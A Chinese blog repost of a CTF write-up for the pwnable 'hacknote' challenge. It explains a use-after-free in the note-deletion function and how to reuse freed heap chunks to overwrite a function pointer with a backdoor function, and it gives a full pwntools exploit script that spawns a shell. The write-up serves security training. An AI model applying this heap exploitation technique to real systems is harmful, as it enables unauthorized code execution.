程序员

pwnable_hacknote

作者:admin 2021-06-07 我要评论

IDAF5 main函数 add_note 函数 notelist是4字节。在源代码中每个notelist[i]装的是新malloc的地址。 *notelist指向这个地址的内容。 *notelist[i]print_note_con...

在说正事之前,我要推荐一个福利:你还在原价购买阿里云、腾讯云、华为云服务器吗?那太亏啦!来这里,新购、升级、续费都打折,能够为您省60%的钱呢!2核4G企业级云服务器低至69元/年,点击进去看看吧>>>)

IDA,F5

main函数
在这里插入图片描述
add_note 函数

在这里插入图片描述

在这里插入图片描述
notelist是4字节。在源代码中,每个notelist[i]装的是新malloc的地址。
*notelist指向这个地址的内容。
*notelist[i]=print_note_content ,print_note_content又是4个字节。
v1指针指向notelist[0]的内容,即新的malloc地址。那么*notelist内容就可以被分为v1[0]和v1[1]。v1[0]的内容是print_note_content返回值。
v1[1]=malloc(size),即v1[1]里面又装着一个新的chunk地址。
在这里插入图片描述

delnote 函数

free两次,没有设置为null,存在UAF漏洞。
在这里插入图片描述
此题留有后门函数:
在这里插入图片描述
print_note函数
在这里插入图片描述
这个函数打印的是第一个chunk的v1[0]部分,也就是print_note_content的地址。

分析

这个题可以想办法把v1[0]的内容,由print_note_content()地址变成magic()函数地址。
这里可以先add note两次,那么,就产生了4个chunk。注意,chunk content一定要比chunk p大。
在这里插入图片描述

del note(0)把notelist[0]所连的2个chunkfree掉。因为两个chunk大小不同,会被链在不同的串上。一个是0x10,一个是0x18。
在这里插入图片描述
del note(1)把notelist[1]所连的2个chunkfree掉。
在这里插入图片描述
可以想到,0x10所连的2个chunk分别是chunk p1和chunk p2。
接着调用add note,设定传送的大小是0x8,而0x8+0x4+0x4=0x10,正好可以分配chunk p2和chunk p1。
不要忘了add note函数的功能:可以把两个chunk链接起来
在这里插入图片描述
chunk p2的v1[1]的内容是chunk p1的地址。chunk p2 作为新的chunk p,chunk p1 是chunk content。所以在写入chunk content时,把magic函数作为内容写入。最后利用print_note()函数读取notelist[0]的v1[0]。最后拿到shell。所以此时chunk p1和chunk p2的关系是:

在这里插入图片描述

解题代码

from pwn import *

context.log_level = 'debug'
p = process('./hacknote')
elf = ELF('./hacknote')

def add(size,content='aaaa'):
    p.sendlineafter(':','1')
    p.sendlineafter(':',str(size))
    p.sendlineafter(':',content)

def delete(index):
    p.sendlineafter(':','2')
    p.sendlineafter(':',str(index))

def show(index):
    p.sendlineafter(':','3')
    p.sendlineafter(':',str(index))

def dbg():
    gdb.attach(p)
    pause()

sh = p32(elf.sym['magic'])
add(0x10)
add(0x10)
#dbg()
delete(0)
#dbg()
delete(1)
#dbg()
add(0x8,sh)
#dbg()
show(0)


#dbg()
p.interactive()

大功告成

在这里插入图片描述

这道题绕来绕去好晕啊~吃饭去啦!
在这里插入图片描述

;原文链接:https://blog.csdn.net/qq_41560595/article/details/115538337

版权声明:本文转载自网络,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。本站转载出于传播更多优秀技术知识之目的,如有侵权请联系QQ/微信:153890879删除

相关文章
  • 第 2 章 基本数据类型

    第 2 章 基本数据类型

  • LeetCode笔记:Weekly Contest 234 比

    LeetCode笔记:Weekly Contest 234 比

  • 2021-04-11

    2021-04-11

  • 字符串算法 |   AC自动机算法

    字符串算法 | AC自动机算法

腾讯云代理商
海外云服务器